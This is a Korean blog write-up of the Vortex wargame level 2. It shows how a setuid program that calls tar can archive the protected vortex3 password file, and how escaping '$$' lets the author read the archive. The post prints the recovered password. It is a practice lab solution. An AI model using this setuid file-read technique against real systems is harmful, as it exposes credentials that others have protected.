본문 바로가기

wargame/vortex

vortex2

Vortex Level 2 → Level 3

Level Goal

Create a special tar file

Helpful Reading Material

GNU tar manual

Included file: vortex2.c
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>


int main(int argc, char **argv)
{
        char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$$.tar", argv[1], argv[2], argv[3] };
        execv(args[0], args);
}



소스를 해석하자면 execv 함수로 다음의 명령을 실행한다.

/bin/tar -cf /tmp/ownership.$$.tar argv[1] argv[2] argv[3]

tar 에 c옵션은 새로운 tar파일을 만드는거고 f옵션은 작업대상이 되는 tar파일의 이름을 지정한다.


그럼 프로그램에 setuid가 걸려있으므로, 이 문제는 vortex3의 패스워드파일을 tar파일로 만들면 될것이다.


참고로 만들어지는 파일명은 $$에 프로세스 id가 들어간다.


vortex2@melinda:/games/vortex$ ./vortex2 /etc/vortex_pass/vortex3

/bin/tar: Removing leading `/' from member names


멤버 네임으로 '/'를 쓸수없단다.

vortex2@melinda:/games/vortex$ cd /etc/vortex_pass/                   
vortex2@melinda:/etc/vortex_pass$ /games/vortex/vortex2 vortex3
vortex2@melinda:/etc/vortex_pass$

파일이 만들어짐.. 그럼 이제 파일을 어떻게 읽을까 걱정하던차에, 일단 strace로 파일이름을 확인해보기로함.

[    7ffff78f9535] fcntl(1, F_GETFD)    = 0

[    7ffff78f9535] fcntl(2, F_GETFD)    = 0

[    7ffff78485a5] rt_sigaction(SIGCHLD, {SIG_DFL, [CHLD], SA_RESTORER|SA_RESTAR                                    T, 0x7ffff78484a0}, {SIG_DFL, [], 0}, 8) = 0

[    7ffff78f9850] creat("/tmp/ownership.$$.tar", 0666) = 3

[    7ffff78f8994] fstat(3, {st_mode=S_IFREG|0664, st_size=0, ...}) = 0

[    7ffff7ffaa54] clock_gettime(CLOCK_REALTIME, {1400659610, 859251200}) = 0

[    7ffff78f8afa] newfstatat(AT_FDCWD, "vortex3", {st_mode=S_IFREG|0400, st_siz      



확인해보니 그냥 $$로 생성.


그럼 읽어보자.


vortex2@melinda:/tmp$ cat ownership.$$.tar

cat: ownership.17772.tar: No such file or directory


프로세스명이 들어감 ;;

vortex2@melinda:/tmp$ cat "ownership.$$.tar"
cat: ownership.17772.tar: No such file or directory

이것도안됨,,

이스케이프 문자를 한번..

vortex2@melinda:/tmp$ cat ownership.\$$.tar
vortex30000400001161300116130000000001212164101775012202 0ustar  vortex3vortex364ncXTvx#

두개다 이스케이프 처리할꺼없이 하나만 해줘도됨.

뒤에 그냥 바로 비번이 보이긴 하지만 tar로 한번 멤버를 추출해내보자.

vortex2@melinda:/tmp$ tar -xvf  ownership.\$$.tar
vortex3
vortex2@melinda:/tmp$ cat vortex3
64ncXTvx#




'wargame > vortex' 카테고리의 다른 글

vortex5  (0) 2014.06.08
vortex4  (0) 2014.05.25
vortex3  (0) 2014.05.21
vortex1  (0) 2014.04.28
vortex0  (0) 2014.04.25